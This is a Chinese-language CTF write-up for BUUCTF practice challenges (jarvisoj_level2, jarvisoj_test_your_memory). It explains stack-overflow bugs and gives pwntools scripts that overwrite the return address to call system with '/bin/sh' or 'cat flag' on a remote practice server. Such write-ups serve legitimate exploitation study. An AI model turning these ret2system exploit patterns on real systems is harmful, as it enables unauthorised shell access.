这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第二波,额还是很简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。)
这一波题都是带点花哨的AAAA,(其实也就是没有直接给你,例如存放在.data段上)
另外声明,脚本有些来自于网络上(太简单的不想多看,太难的不会,除了中间那一档的也没哪些脚本是自己写的),但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来写的),所以有些脚本拿的谁的我给忘了(不过这么简单的脚本应该没有大佬介意)等到后面稍微难一点的题目接近我现在的时间线,一般都是标注是参考谁的wp的
jarvisoj_level2
https://blog.csdn.net/qq_43394612/article/details/85407917
main函数,没什么东西,直接点进vulnerable这个函数
然后看到一个read函数的漏洞
然后我们查找字符串发现了system 和/bin/sh
但是遗憾的是并没有这么一个函数,而是存在于.data段上,这个段我们用来存储数据,其实同样是可以调用的
而且虽然找到了system,但是里面是一个command,这代表这这是系统本身的调用,我们无法直接使用
那么我们如何拿到flag呢
我们可以看到这个.data数据的位置在0x0804A024,然后我们去查看十六进制字符串
寻找0804A024这个位置,发现果然在这里有一串/bin/sh,而这里是可以调用的,而位置就是0x0804A024
所以脚本如下
这是不使用ELF的方法
from pwn import*
elf=ELF("./level2")
a=remote("node3.buuoj.cn","25018")
a.recvuntil("Input:\n")
payload='A'*140+p32(0x08048320)+p32(0x1)+p32(0x0804A024) ##这里的0x1同样可以写成0xdeadbeef,作用为补完字节为8字节
a.send(payload)
a.interactive()
这是使用ELF的方法,主要目的是通过对比体现ELF模块的用法
from pwn import*
elf=ELF("./level2")
a=remote("node3.buuoj.cn","25018")
a.recvuntil("Input:\n")
system_addr=elf.symbols["system"] ##elf.symbols["system"]调用函数system
shell_addr=next(elf.search("/bin/sh")) ##next(elf.search("/bin/sh")) 调用字符串/bin/sh
payload='A'*140+p32(system_addr)+p32(0x1)+p32(shell_addr) ##可以看到我们如果使用ELF片段,就可以不用自己输入地址了
a.send(payload)
a.interactive()
jarvisoj_test_your_memory
https://www.cnblogs.com/luoleqi/p/12385335.html
先看main函数,没什么东西
然后点进mem_test这个函数,发现scanf有漏洞
看看s里面需要多少个字符串才能溢出
可以看到system和cat flag
可以看到跟上题一样在rodata段
system同样里面是command
思路跟上一题一样,所以不赘述了,直接贴脚本
from pwn import *
io =remote('node3.buuoj.cn',25430)
system_plt = 0x8048440
cat_flag = 0x80487e0
payload = 'a' * 23 + p32(system_plt) + p32(0x8048677) + p32(cat_flag) ##需要介绍的是0x8048677同样是填充字符的作用,其实更换任何一个16进制的字符串都是一样的,例如0x8048611
io.sendline(payload)
io.interactive()
ez_pz_hackover_2016
https://blog.csdn.net/qinying001/article/details/104406550/
ciscn_2019_n_8
https://blog.csdn.net/qinying001/article/details/104152797